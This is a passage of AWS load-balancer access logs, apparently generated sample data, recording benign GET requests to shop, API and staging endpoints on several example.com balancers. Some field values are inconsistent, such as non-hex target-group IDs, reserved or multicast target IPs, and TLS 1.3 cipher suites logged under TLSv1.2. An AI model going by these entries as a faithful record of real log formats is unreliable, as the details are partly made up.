6397 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d247-81e4645d8dac4f8aa14a2b49" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:59.709948Z "forward" "-" "-" "10.0.20.143:443" "404" "-" "-" -https 2024-11-01T01:54:01.642077Z staging-alb 203.97.188.4:15948 14.75.240.29:80 0.112678 0.433029 0.036321 200 200 744 14117 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d249-d1342ed210914b5089bd149e" "staging-alb.example.com" "-" 3 2024-11-01T01:54:01.642077Z "forward" "-" "-" "14.75.240.29:80" "200" "-" "-" -http 2024-11-01T01:54:03.117210Z staging-alb 129.8.238.229:23160 17.254.244.193:80 0.125135 0.241072 0.042832 302 302 676 3479 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d24b-453eedd33b7d4020bf35c108" "staging-alb.example.com" "-" 0 2024-11-01T01:54:03.117210Z "forward" "-" "-" "17.254.244.193:80" "302" "-" "-" -https 2024-11-01T01:54:04.343270Z prod-web-alb 162.119.73.57:54269 10.0.9.113:443 0.071330 0.079284 0.011383 404 404 49 10749 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d24c-ff2adf753c3b45db86dba506" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:04.343270Z "forward" "-" "-" "10.0.9.113:443" "404" "-" "-" -https 2024-11-01T01:54:05.061620Z prod-api-alb 149.86.13.66:33827 10.0.210.56:443 0.059506 0.267450 0.020887 200 200 864 5421 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d24d-67afecfda0154962880cb889" "prod-api-alb.example.com" "-" 4 2024-11-01T01:54:05.061620Z "forward" "-" "-" "10.0.210.56:443" "200" "-" "-" -https 2024-11-01T01:54:06.024027Z prod-web-alb 123.21.63.198:51150 10.0.194.179:443 0.012488 0.494218 0.004818 200 200 969 6159 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d24e-500e766edd9242e39943524c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:06.024027Z "forward" "-" "-" "10.0.194.179:443" "200" "-" "-" -https 2024-11-01T01:54:06.500794Z prod-web-alb 241.251.244.42:20211 10.0.163.218:443 0.027061 0.140503 0.066502 200 200 664 3065 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d24e-71a4e66a4fe84c6b9d2776db" "prod-web-alb.example.com" "-" 5 2024-11-01T01:54:06.500794Z "forward" "-" "-" "10.0.163.218:443" "200" "-" "-" -http 2024-11-01T01:54:08.500537Z staging-alb 139.226.187.199:26762 144.162.161.98:8080 0.123891 0.380813 0.033899 301 301 395 10004 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d250-0659a6338b5540dfb1191ce0" "staging-alb.example.com" "-" 10 2024-11-01T01:54:08.500537Z "forward" "-" "-" "144.162.161.98:8080" "301" "-" "-" -https 2024-11-01T01:54:09.010606Z prod-api-alb 57.12.202.53:46076 10.0.199.202:443 0.074833 0.038232 0.014703 302 302 116 12870 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d251-69f05d47d0ca4e62801d55db" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:09.010606Z "forward" "-" "-" "10.0.199.202:443" "302" "-" "-" -https 2024-11-01T01:54:10.448857Z staging-alb 251.27.235.79:56078 195.24.170.27:80 0.147494 0.029159 0.015998 200 200 353 973 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d252-4ca7f5c6036b439d8e297d6b" "staging-alb.example.com" "-" 9 2024-11-01T01:54:10.448857Z "forward" "-" "-" "195.24.170.27:80" "200" "-" "-" -https 2024-11-01T01:54:11.376341Z prod-web-alb 16.96.111.94:52599 10.0.239.112:443 0.012862 0.211531 0.076035 302 302 426 2339 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d253-41b666dc5e85449aa4ff6de9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:11.376341Z "forward" "-" "-" "10.0.239.112:443" "302" "-" "-" -https 2024-11-01T01:54:13.329801Z prod-api-alb 222.219.42.217:33170 10.0.12.205:443 0.030181 0.342912 0.020074 301 301 200 11132 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d255-5c1b349191cb45d0b99132fa" "prod-api-alb.example.com" "-" 3 2024-11-01T01:54:13.329801Z "forward" "-" "-" "10.0.12.205:443" "301" "-" "-" -https 2024-11-01T01:54:14.836765Z staging-alb 65.68.100.55:46345 65.172.132.179:8080 0.106346 0.567383 0.007649 200 200 294 12286 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d256-197318c611224f6b94ed7298" "staging-alb.example.com" "-" 10 2024-11-01T01:54:14.836765Z "forward" "-" "-" "65.172.132.179:8080" "200" "-" "-" -https 2024-11-01T01:54:15.735614Z prod-api-alb 73.135.113.151:40206 10.0.203.209:443 0.066763 0.107937 0.028289 200 200 500 11349 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d257-68cc148d25ea400693d42657" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:15.735614Z "forward" "-" "-" "10.0.203.209:443" "200" "-" "-" -https 2024-11-01T01:54:16.535141Z staging-alb 83.158.174.129:12600 186.50.59.5:80 0.057946 0.601116 0.099530 302 302 958 9751 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d258-b2c2d4e63db44e25b69642bf" "staging-alb.example.com" "-" 4 2024-11-01T01:54:16.535141Z "forward" "-" "-" "186.50.59.5:80" "302" "-" "-" -https 2024-11-01T01:54:17.098473Z prod-api-alb 105.222.141.183:28134 10.0.84.233:443 0.076203 0.157120 0.051007 404 404 240 11187 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d259-901633a0863a4f71af01451e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:17.098473Z "forward" "-" "-" "10.0.84.233:443" "404" "-" "-" -https 2024-11-01T01:54:18.931568Z prod-web-alb 108.59.18.48:40906 10.0.12.162:443 0.084856 0.381956 0.079299 404 404 574 8833 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d25a-ea7503937b104e9d84dc4074" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:18.931568Z "forward" "-" "-" "10.0.12.162:443" "404" "-" "-" -https 2024-11-01T01:54:19.990943Z staging-alb 134.243.237.14:38493 96.219.219.169:80 0.108112 0.688849 0.112110 200 200 552 13820 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d25b-41b2ed4cbe19400fb3cddd2f" "-" "-" 3 2024-11-01T01:54:19.990943Z "forward" "-" "-" "96.219.219.169:80" "200" "-" "-" -https 2024-11-01T01:54:20.784258Z prod-web-alb 178.99.221.9:54541 10.0.233.97:443 0.098481 0.002086 0.020479 301 301 267 10472 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d25c-36dc0400da67420c98ca44a2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:54:20.784258Z "forward" "-" "-" "10.0.233.97:443" "301" "-" "-" -http 2024-11-01T01:54:21.210417Z staging-alb 167.116.157.104:48721 239.186.57.63:8080 0.073781 0.113677 0.058659 200 200 323 6380 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d25d-b9e8f515f9974b6abcde70db" "staging-alb.example.com" "-" 6 2024-11-01T01:54:21.210417Z "forward" "-" "-" "239.186.57.63:8080" "200" "-" "-" -http 2024-11-01T01:54:22.352566Z staging-alb 213.237.197.142:61074 179.84.177.3:8080 0.003796 0.318447 0.035421 200 200 694 1074 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d25e-6f111f26d23548feaa985f9f" "-" "-" 7 2024-11-01T01:54:22.352566Z "forward" "-" "-" "179.84.177.3:8080" "200" "-" "-" -https 2024-11-01T01:54:23.832970Z prod-web-alb 30.99.96.144:10413 10.0.89.248:443 0.089776 0.368218 0.024685 200 200 314 744 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d25f-d63fbaeae6484e969fb7018f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:23.832970Z "forward" "-" "-" "10.0.89.248:443" "200" "-" "-" -https 2024-11-01T01:54:25.820511Z prod-web-alb 221.114.36.66:17206 10.0.233.86:443 0.082366 0.169133 0.014014 302 302 859 6227 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d261-208f7bc3c3e14b508f8fc4a8" "-" "-" 0 2024-11-01T01:54:25.820511Z "forward" "-" "-" "10.0.233.86:443" "302" "-" "-" -https 2024-11-01T01:54:26.703342Z prod-api-alb 231.55.138.67:30903 10.0.202.99:443 0.034215 0.126969 0.085770 200 200 144 3163 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d262-b19a79f6b6b640ed93a8a73f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:54:26.703342Z "forward" "-" "-" "10.0.202.99:443" "200" "-" "-" -https 2024-11-01T01:54:28.295277Z prod-api-alb 116.35.255.21:27033 10.0.16.208:443 0.023163 0.150022 0.012597 200 200 600 1378 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d264-45ffcd04cf364c2d868ae2a5" "prod-api-alb.example.com" "-" 7 2024-11-01T01:54:28.295277Z "forward" "-" "-" "10.0.16.208:443" "200" "-" "-" -https 2024-11-01T01:54:30.105391Z staging-alb 123.54.48.165:34065 45.255.232.38:80 0.089933 0.594236 0.084841 200 200 251 10276 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d266-4c31bd2b6cae478fb8ceae4f" "staging-alb.example.com" "-" 10 2024-11-01T01:54:30.105391Z "forward" "-" "-" "45.255.232.38:80" "200" "-" "-" -https 2024-11-01T01:54:30.269468Z prod-web-alb 5.35.156.100:15452 10.0.170.72:443 0.092999 0.027306 0.043531 200 200 929 283 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d266-3197b3ddeb364e23ab49de03" "prod-web-alb.example.com" "-" 1 2024-11-01T01:54:30.269468Z "forward" "-" "-" "10.0.170.72:443" "200" "-" "-" -https 2024-11-01T01:54:32.119727Z staging-alb 19.59.209.16:10281 151.219.31.184:80 0.010479 0.458312 0.139124 200 200 271 11800 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d268-3459597222b849a9b7a69938" "staging-alb.example.com" "-" 3 2024-11-01T01:54:32.119727Z "forward" "-" "-" "151.219.31.184:80" "200" "-" "-" -https 2024-11-01T01:54:32.684112Z prod-web-alb 77.29.190.72:25393 10.0.24.211:443 0.030695 0.003480 0.091856 200 200 701 8989 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d268-308b2fbf9a3e47f3aead7062" "prod-web-alb.example.com" "-" 7 2024-11-01T01:54:32.684112Z "forward" "-" "-" "10.0.24.211:443" "200" "-" "-" -https 2024-11-01T01:54:34.187384Z prod-api-alb 124.166.70.178:30099 10.0.182.188:443 0.089235 0.256305 0.076923 200 200 747 921 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d26a-e0582e3fa8a946cdbd534ea9" "prod-api-alb.example.com" "-" 10 2024-11-01T01:54:34.187384Z "forward" "-" "-" "10.0.182.188:443" "200" "-" "-" -https 2024-11-01T01:54:35.281777Z prod-api-alb 16.188.45.136:64912 10.0.127.111:443 0.075081 0.186259 0.051229 200 200 369 5670 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d26b-56a3f28aa4374f03abe42d88" "-" "-" 0 2024-11-01T01:54:35.281777Z "forward" "-" "-" "10.0.127.111:443" "200" "-" "-" -https 2024-11-01T01:54:36.200005Z prod-web-alb 222.218.124.198:48346 10.0.72.191:443 0.042514 0.428310 0.085470 200 200 974 9055 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d26c-c69e6d3973da4cfbadd1f7e7" "prod-web-alb.example.com" "-" 8 2024-11-01T01:54:36.200005Z "forward" "-" "-" "10.0.72.191:443" "200" "-" "-" -https 2024-11-01T01:54:36.739197Z prod-api-alb 110.110.64.169:20574 10.0.90.70:443 0.039091 0.060713 0.039504 200 200 299 11798 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d26c-297dd1133e3c428880311562" "prod-api-alb.example.com" "-" 9 2024-11-01T01:54:36.739197Z "forward" "-" "-" "10.0.90.70:443" "200" "-" "-" -http 2024-11-01T01:54:38.419298Z staging-alb 66.144.145.139:18598 36.155.162.245:8080 0.023256 0.295534 0.127343 302 302 936 1927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d26e-d29e2348e9574dfdba7d4c0e" "-" "-" 8 2024-11-01T01:54:38.419298Z "forward" "-" "-" "36.155.162.245:8080" "302" "-" "-" -https 2024-11-01T01:54:40.011531Z staging-alb 144.32.120.104:11788 141.251.94.211:443 0.093729 0.199694 0.148102 200 200 524 7629 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d270-15018e33bda142879acde0cf" "staging-alb.example.com" "-" 9 2024-11-01T01:54:40.011531Z "forward" "-" "-" "141.251.94.211:443" "200" "-" "-" -https 2024-11-01T01:54:40.804914Z staging-alb 187.120.177.12:60517 193.164.199.230:8080 0.082054 0.125395 0.007878 200 200 470 7720 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d270-470b8f9fb3bc4a0388bf7673" "staging-alb.example.com" "-" 7 2024-11-01T01:54:40.804914Z "forward" "-" "-" "193.164.199.230:8080" "200" "-" "-" -http 2024-11-01T01:54:41.291964Z staging-alb 104.244.239.242:60916 253.144.215.78:80 0.095239 0.470009 0.001449 301 301 832 2260 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d271-f06e62d0d20f444091120631" "staging-alb.example.com" "-" 2 2024-11-01T01:54:41.291964Z "forward" "-" "-" "253.144.215.78:80" "301" "-" "-" -http 2024-11-01T01:54:42.053927Z staging-alb 124.46.116.200:22223 60.25.243.51:443 0.020806 0.681722 0.074696 200 200 554 10408 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d272-1f280b5be6694feda3dce1e0" "staging-alb.example.com" "-" 3 2024-11-01T01:54:42.053927Z "forward" "-" "-" "60.25.243.51:443" "200" "-" "-" -https 2024-11-01T01:54:42.379614Z prod-api-alb 30.150.78.29:38717 10.0.148.210:443 0.028943 0.230489 0.090158 200 200 110 11863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d272-8899aa5cdc224228ac10d91c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:54:42.379614Z "forward" "-" "-" "10.0.148.210:443" "200" "-" "-" -https 2024-11-01T01:54:43.692910Z prod-web-alb 231.153.252.225:61614 10.0.112.77:443 0.019162 0.193803 0.000844 404 404 239 4722 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d273-9538da7e09614b8cacf0bb52" "prod-web-alb.example.com" "-" 0 2024-11-01T01:54:43.692910Z "forward" "-" "-" "10.0.112.77:443" "404" "-" "-" -https 2024-11-01T01:54:44.069364Z prod-web-alb 193.100.246.113:45842 10.0.225.116:443 0.098013 0.120780 0.016581 200 200 708 9204 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d274-2943150c575546ba9ee439e5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:44.069364Z "forward" "-" "-" "10.0.225.116:443" "200" "-" "-" -https 2024-11-01T01:54:45.021902Z prod-api-alb 212.254.76.101:14459 10.0.92.169:443 0.053458 0.279432 0.035153 404 404 293 8647 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d275-6e8c25a46511437eb34f2bb9" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:45.021902Z "forward" "-" "-" "10.0.92.169:443" "404" "-" "-" -https 2024-11-01T01:54:46.668015Z prod-api-alb 120.10.233.75:25226 10.0.44.114:443 0.034169 0.085513 0.086707 301 301 650 339 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d276-ce8af5f6875843a4a6c52d18" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:46.668015Z "forward" "-" "-" "10.0.44.114:443" "301" "-" "-" -https 2024-11-01T01:54:48.567078Z prod-web-alb 119.87.29.1:57445 10.0.68.43:443 0.019447 0.484851 0.080209 404 404 870 13264 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d278-1106dc110ce247edb05067c8" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:48.567078Z "forward" "-" "-" "10.0.68.43:443" "404" "-" "-" -https 2024-11-01T01:54:50.187468Z prod-api-alb 112.148.134.103:11193 10.0.214.206:443 0.053863 0.030305 0.009258 200 200 633 13652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d27a-7f8213cb65eb4376878e7f10" "prod-api-alb.example.com" "-" 1 2024-11-01T01:54:50.187468Z "forward" "-" "-" "10.0.214.206:443" "200" "-" "-" -https 2024-11-01T01:54:50.951159Z prod-api-alb 34.6.43.31:53505 10.0.186.244:443 0.066718 0.327647 0.010978 200 200 84 10728 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d27a-647719b818904f6696e5e689" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:50.951159Z "forward" "-" "-" "10.0.186.244:443" "200" "-" "-" -https 2024-11-01T01:54:51.463548Z staging-alb 137.184.158.237:15885 252.142.253.195:80 0.103981 0.349173 0.135871 200 200 7 13507 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27b-8077192f8bb246f6b127861b" "staging-alb.example.com" "-" 1 2024-11-01T01:54:51.463548Z "forward" "-" "-" "252.142.253.195:80" "200" "-" "-" -http 2024-11-01T01:54:52.709910Z staging-alb 16.24.30.54:59609 163.185.157.8:8080 0.070007 0.717742 0.018688 200 200 155 294 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27c-868547989cf8429fab48a22c" "staging-alb.example.com" "-" 10 2024-11-01T01:54:52.709910Z "forward" "-" "-" "163.185.157.8:8080" "200" "-" "-" -https 2024-11-01T01:54:52.884219Z 